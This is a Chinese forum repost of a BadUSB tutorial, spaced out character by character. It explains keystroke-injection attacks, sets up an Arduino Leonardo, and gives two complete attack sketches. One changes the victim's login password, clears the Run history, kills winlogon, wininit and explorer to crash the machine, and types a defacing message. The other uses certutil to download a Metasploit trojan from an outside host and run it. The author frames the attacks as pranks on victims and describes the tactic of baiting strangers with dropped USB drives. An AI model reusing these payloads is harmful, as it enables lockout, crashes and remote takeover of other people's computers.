搜索

[18480] 2019-07-03_BadUSB制作教程

文档创建者：s7ckTeam
浏览次数：7
最后更新：2025-01-18
2019-07-03_BadUSB制作教程 B a d U S B 制 作 教 程 原 创   L   M   N   H A C K 学 习 呀   2 0 1 9 - 0 7 - 0 3   和 大 多 数 人 一 样 ， 最 初 见 到 B a d U S B 是 在 美 剧 《 黑 客 军 团 》 中 ， 是 f s o c i e t y 组 织 常 用 的 工 具 之 一 ， 无 论 是 向 服 务 器 下 载 木 马 控 制 被 害 者 主 机 ， 还 是 达 琳 在 停 车 场 帅 气 的 扔 出 大 量 U S B 钓 鱼 ， B a d U S B 都 是 功 不 可 没 的 物 理 武 器 之 一 。 剧 情 中 使 用 H a k 5 的 U S B   r u b b e r   d u c k y 控 制 目 标 主 机 达 琳 在 停 车 场 扔 B a d U S B 钓 鱼 B a d U S B 的 优 点 的 优 点                 在 U S B 攻 击 领 域 ， 很 多 年 前 常 用 的 是 老 式 U S B 病 毒 a u t o r u n . i n f ， 现 在 估 计 随 便 一 个 杀 毒 软 件 就 能 把 它 杀 得 死 死 的 ， 与 a u t o r u n . i n f 不 同 ， B a d U S B 是 利 用 了 U S B 协 议 上 的 漏 洞 ， 通 过 更 改 U S B 的 内 部 固 件 ， 在 正 常 的 U S B 接 口 接 入 后 ， 模 拟 外 置 鼠 标 、 键 盘 的 功 能 ， 以 此 来 使 目 标 主 机 执 行 已 经 精 心 构 造 好 的 命 令 。 在 此 过 程 中 不 会 引 起 杀 毒 软 件 、 防 火 墙 的 一 丝 怀 疑 。 而 且 因 为 是 在 固 件 级 别 的 应 用 ， U 盘 格 式 化 根 本 无 法 阻 止 其 内 部 代 码 的 执 行 。                 同 样 因 为 是 对 U S B 的 利 用 ， W i n d o w s 、 L i n u x 、 M A C 等 各 类 操 作 系 统 不 必 联 网 下 载 专 用 的 驱 动 程 序 。 此 外 ， 向 B a d U S B 烧 录 的 程 序 极 为 简 单 ， 大 部 分 是 对 键 盘 按 键 进 行 模 拟 ， 上 手 较 为 容 易 。                 B a d U S B 也 是 社 会 工 程 学 的 一 个 典 型 示 例 ， 它 极 大 地 利 用 了 人 们 的 好 奇 心 ， 在 路 边 捡 到 的 U S B ， 估 计 九 成 以 上 的 人 们 都 想 看 看 里 面 有 什 么 东 西 ， 而 当 你 插 入 U 盘 ， 攻 击 就 很 难 再 停 止 下 来 了 。 制 作 制 作 B a d U S B 的 几 种 板 子 的 几 种 板 子
                能 够 制 作 B a d U S B 的 几 种 常 见 载 体 有 ： l e o n a r d o _ A r d u i n o 、 P h i s o n 、 T e e n s y 、 A t t i n y 8 5 、 P S 2 3 0 3 （ 芯 片 ） 、 R u b b e r _ D u c k y 等 ， 这 里 笔 者 都 有 试 过 ， 从 外 观 形 状 和 制 作 成 功 率 来 看 ， 使 用 l e o n a r d o _ A r d u i n o 制 作 B a d U S B 的 效 果 最 好 ， 使 用 起 来 也 较 为 方 便 。 R u b b e r _ D u c k y
A t t i n y 8 5
P S 2 3 0 3 群 联 芯 片
l e o n a r d o _ A r d u i n o 那 么 来 做 一 个 那 么 来 做 一 个 B a d U S B 怎 么 样 ？ 怎 么 样 ？               这 里 选 用 外 观 形 状 最 像 U S B 的 l e o n a r d o _ A r d u i n o 为 载 体 制 作 B a d U S B ， 首 先 第 一 步 就 是 要 去 下 载 A r d u i n o 开 发 者 工 具 — — 用 来 向 l e o n a r d o 烧 录 程 序 的 软 件 。 这 里 贴 一 个 A r d u i n o 中 文 社 区 的 下 载 地 址 ： h t t p s : / / w w w . a r d u i n o . c n / t h r e a d - 5 8 3 8 - 1 - 1 . h t m l ， 下 载 安 装 较 为 简 单 ， 这 里 不 再 赘 述 。 安 装 后 打 开 软 件 ， 你 将 看 到 如 下 所 示 的 界 面 图 ：
A r d u i n o 开 发 者 工 具 界 面                 然 后 打 开 工 具 - 开 发 板 - 开 发 板 管 理 器 ： 打 开 开 发 板 管 理 器                 联 网 安 装 A r d u i n o   A V R   B o a r d s 板 子 ： A r d u i n o   A V R   B o a r d s 开 发 板                 回 到 主 界 面 ， 开 发 板 选 择 ， 选 择 工 具 - 开 发 板 -   A r d u i n o   L e o n a r d o 。 编 程 器 选 择 ， A V R I S P   m k I I ， 如 下 图 所 示 ：
开 发 板 及 编 程 器 选 择 开 发 板 及 编 程 器 选 择                 然 后 就 是 写 入 代 码 ， 如 果 你 嫌 自 己 写 太 麻 烦 ， 这 里 有 个 快 速 编 写 命 令 的 工 具 ： A u t o m a t o r ， 熟 悉 M A C 的 朋 友 可 能 认 识 ， 它 主 要 是 用 来 在 M A C 上 发 挥 “ 按 键 精 灵 ” 的 作 用 。 这 里 附 上 G i t H u b 上 的 下 载 地 址 ： h t t p s : / / g i t h u b . c o m / C a t b o y 9 6 / A u t o m a t o r                 其 实 代 码 写 起 来 不 难 ， 关 键 看 我 们 自 己 要 实 现 什 么 效 果 ， 比 如 我 就 比 较 坏 了 ， 我 打 算 先 把 对 方 开 机 密 码 先 改 了 ， 然 后 在 用 各 种 颜 色 刷 遍 命 令 行 ， 给 对 方 一 种 美 的 享 受 ， 最 后 再 开 开 心 心 的 关 掉 对 方 桌 面 进 程 ， 当 然 能 蓝 屏 的 还 是 先 蓝 屏 比 较 好 。                 写 好 代 码 后 ， 点 击 左 上 角 的 那 个 对 号 进 行 编 译 ， 没 有 报 错 信 息 一 般 就 是 成 功 了 ： 代 码 ：
编 译 成 功                 最 后 插 上 你 的 l e o n a r d o ， 点 击 左 上 角 第 二 个 箭 头 符 号 进 行 上 传 ， 等 待 个 5 0 几 秒 就 成 功 了 。 P S ： ： 效 果 爆 炸 ， 程 序 将 更 改 所 有 用 户 的 密 码 ， 你 别 忘 了 新 的 开 机 密 码 哈 ， 笑 效 果 爆 炸 ， 程 序 将 更 改 所 有 用 户 的 密 码 ， 你 别 忘 了 新 的 开 机 密 码 哈 ， 笑 ~ ~ # i n c l u d e < K e y b o a r d . h > v o i d   s e t u p ( )   { / / 初 始 化 K e y b o a r d . b e g i n ( ) ; / / 开 始 键 盘 通 讯 d e l a y ( 5 0 0 0 ) ; / / 延 时 K e y b o a r d . p r e s s ( K E Y _ C A P S _ L O C K ) ;   / / 按 下 大 写 键   这 里 我 们 最 好 这 样 写   不 然 大 多 数 电 脑 在 中 文 输 入 的 情 况 下 就 会 出 现 问 题 K e y b o a r d . r e l e a s e ( K E Y _ C A P S _ L O C K ) ;   / / 释 放 大 写 键 d e l a y ( 2 0 0 ) ; K e y b o a r d . p r e s s ( K E Y _ L E F T _ G U I ) ; / / w i n 键 d e l a y ( 2 0 0 ) ; K e y b o a r d . p r e s s ( ' r ' ) ; / / r 键 d e l a y ( 2 0 0 ) ; K e y b o a r d . r e l e a s e ( K E Y _ L E F T _ G U I ) ; K e y b o a r d . r e l e a s e ( ' r ' ) ; K e y b o a r d . p r i n t l n ( " c m d . e x e " ) ; d e l a y ( 2 0 0 ) ; K e y b o a r d . p r i n t l n ( " C M D . E X E   / C   R E G   D E L E T E   h k c u s O F T W A R E m I C R O S O F T w I N D O W S c U R R E N T v E R S I O N e X P L O R E R r U N m r u   / F & N E T   U S E R   % U S E R N A M E %   H A C K E D " d e l a y ( 2 0 0 ) ; K e y b o a r d . p r i n t l n ( " c o l o r   a " ) ; / / 更 改 命 令 行 颜 色 （ 绿 色 ） d e l a y ( 2 0 0 ) ; K e y b o a r d . p r i n t l n ( " e c h o   . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .   > >   h a c k e d . t x t " ) ; / / 向 h a c k e d . t x t 写 内 容 d e l a y ( 2 0 0 ) ; K e y b o a r d . p r i n t l n ( " e c h o   # #   # #   # # #   # # # # # #   # #   # #   # # # # # # # #   # # # # # # # #   > >   h a c k e d . t x t " ) ; / / 向 h a c k e d . t x t 写 内 容 d e l a y ( 2 0 0 ) ; K e y b o a r d . p r i n t l n ( " c o l o r   0 " ) ; / / 更 改 命 令 行 颜 色 （ 绿 色 ） d e l a y ( 2 0 0 ) ; K e y b o a r d . p r i n t l n ( " e c h o   # #   # #   # #   # #   # #   # #   # #   # #   # #   # #   # #   > >   h a c k e d . t x t " ) ; / / 向 h a c k e d . t x t 写 内 容 d e l a y ( 2 0 0 ) ; K e y b o a r d . p r i n t l n ( " c o l o r   1 " ) ; / / 更 改 命 令 行 颜 色 （ 绿 色 ） d e l a y ( 2 0 0 ) ; K e y b o a r d . p r i n t l n ( " e c h o   # #   # #   # #   # #   # #   # #   # #   # #   # #   # #   > >   h a c k e d . t x t " ) ; / / 向 h a c k e d . t x t 写 内 容 d e l a y ( 2 0 0 ) ; K e y b o a r d . p r i n t l n ( " c o l o r   2 " ) ; / / 更 改 命 令 行 颜 色 （ 绿 色 ） d e l a y ( 2 0 0 ) ; K e y b o a r d . p r i n t l n ( " e c h o   # # # # # # # # #   # #   # #   # #   # # # # #   # # # # # #   # #   # #   > >   h a c k e d . t x t " ) ; / / 向 h a c k e d . t x t 写 内 容 d e l a y ( 2 0 0 ) ; K e y b o a r d . p r i n t l n ( " c o l o r   3 " ) ; / / 更 改 命 令 行 颜 色 （ 绿 色 ） d e l a y ( 2 0 0 ) ; K e y b o a r d . p r i n t l n ( " e c h o   # #   # #   # # # # # # # # #   # #   # #   # #   # #   # #   # #   > >   h a c k e d . t x t " ) ; / / 向 h a c k e d . t x t 写 内 容 d e l a y ( 2 0 0 ) ; K e y b o a r d . p r i n t l n ( " c o l o r   4 " ) ; / / 更 改 命 令 行 颜 色 （ 绿 色 ） d e l a y ( 2 0 0 ) ; K e y b o a r d . p r i n t l n ( " e c h o   # #   # #   # #   # #   # #   # #   # #   # #   # #   # #   # #   > >   h a c k e d . t x t " ) ; / / 向 h a c k e d . t x t 写 内 容 d e l a y ( 2 0 0 ) ; K e y b o a r d . p r i n t l n ( " c o l o r   5 " ) ; / / 更 改 命 令 行 颜 色 （ 绿 色 ） d e l a y ( 2 0 0 ) ; K e y b o a r d . p r i n t l n ( " e c h o   # #   # #   # #   # #   # # # # # #   # #   # #   # # # # # # # #   # # # # # # # #   > >   h a c k e d . t x t " ) ; / / 向 h a c k e d . t x t 写 内 容 d e l a y ( 2 0 0 ) ; K e y b o a r d . p r i n t l n ( " c o l o r   6 " ) ; / / 更 改 命 令 行 颜 色 （ 绿 色 ） d e l a y ( 2 0 0 ) ; K e y b o a r d . p r i n t l n ( " e c h o   . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .   > >   h a c k e d . t x t " ) ; / / 向 h a c k e d . t x t 写 内 容 d e l a y ( 2 0 0 ) ; K e y b o a r d . p r i n t l n ( " c o l o r   c " ) ; / / 更 改 命 令 行 颜 色 （ 红 色 ） d e l a y ( 2 0 0 ) ; K e y b o a r d . p r i n t l n ( " c l s " ) ; / / 更 改 命 令 行 颜 色 （ 红 色 ） d e l a y ( 2 0 0 ) ; K e y b o a r d . p r i n t l n ( " t y p e   h a c k e d . t x t " ) ; / / 将 h a c k e d . t x t 文 件 内 容 打 印 在 c m d d e l a y ( 2 0 0 ) ; K e y b o a r d . p r i n t l n ( " C M D   / C   S T A R T   / M I N   C M D   / C   R E G   D E L E T E   h k c u s O F T W A R E m I C R O S O F T w I N D O W S c U R R E N T v E R S I O N e X P L O R E R r U N m r u   / F & C M D   / C   S T A R T   / M I N   C M D   / C   N T S D   - C   Q   - P N   W I N L O G O N . E X E   1 > N U L   2 > N U L & T A S K K I L L   / F   / I M   W I N I N I T . E X E   2 > N U L " d e l a y ( 2 0 0 ) ; K e y b o a r d . p r i n t l n ( " t a s k k i l l   / f   / i m   e x p l o r e r . e x e " ) ; / / 删 除 桌 面 进 程 ( a l l ) d e l a y ( 2 0 0 ) ; K e y b o a r d . e n d ( ) ; / / 结 束 键 盘 通 讯 } v o i d   l o o p ( ) / / 循 环 { }
链 接 服 务 器 链 接 服 务 器 m s f 木 马 下 载 版 代 码 木 马 下 载 版 代 码 ： 原 创 投 稿 ： L   M   N # i n c l u d e < K e y b o a r d . h > v o i d   s e t u p ( ) { K e y b o a r d . b e g i n ( ) ; / / 开 始 键 盘 通 信 d e l a y ( 4 0 0 0 ) ; / / 延 时 1 0 0 0 毫 秒 ， 不 要 太 短 ， 因 为 每 天 电 脑 的 运 行 速 度 都 不 一 样 K e y b o a r d . p r e s s ( K E Y _ C A P S _ L O C K ) ;   / / 按 下 大 写 键   这 里 我 们 最 好 这 样 写   不 然 大 多 数 电 脑 在 中 文 输 入 的 情 况 下 就 会 出 现 问 题 K e y b o a r d . r e l e a s e ( K E Y _ C A P S _ L O C K ) ;   / / 释 放 大 写 键 d e l a y ( 5 0 0 ) ; K e y b o a r d . p r e s s ( K E Y _ L E F T _ G U I ) ; / / 按 下 徽 标 键   也 就 是 w i n 键 d e l a y ( 5 0 0 ) ; K e y b o a r d . p r e s s ( ' r ' ) ; / / 按 下 r 键 d e l a y ( 5 0 0 ) ; K e y b o a r d . p r i n t l n ( " c m d . e x e " ) ; d e l a y ( 1 0 0 0 ) ; K e y b o a r d . p r i n t l n ( " c e r t u t i l   - u r l c a c h e   - s p l i t   - f   h t t p : / / 1 9 2 . 1 6 8 . 4 3 . 2 4 2 / w w y . e x e   D : s e t u p _ 1 1 . 5 . 0 . e x e " ) ; d e l a y ( 1 0 0 0 ) ; d e l a y ( 1 0 0 0 ) ; K e y b o a r d . p r i n t l n ( " D : S E T U P _ 1 1 . 5 . 0 . E X E " ) ; d e l a y ( 5 0 0 ) ; K e y b o a r d . p r i n t l n ( " e x i t " ) ; d e l a y ( 5 0 0 ) ; K e y b o a r d . p r e s s ( K E Y _ C A P S _ L O C K ) ;   / / 按 下 大 写 键 K e y b o a r d . r e l e a s e ( K E Y _ C A P S _ L O C K ) ;   / / 释 放 大 写 键   我 们 再 次 关 闭 开 启 的 大 写 键 d e l a y ( 4 0 0 ) ; K e y b o a r d . e n d ( ) ; / / 结 束 键 盘 通 讯 } v o i d   l o o p ( ) { }
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理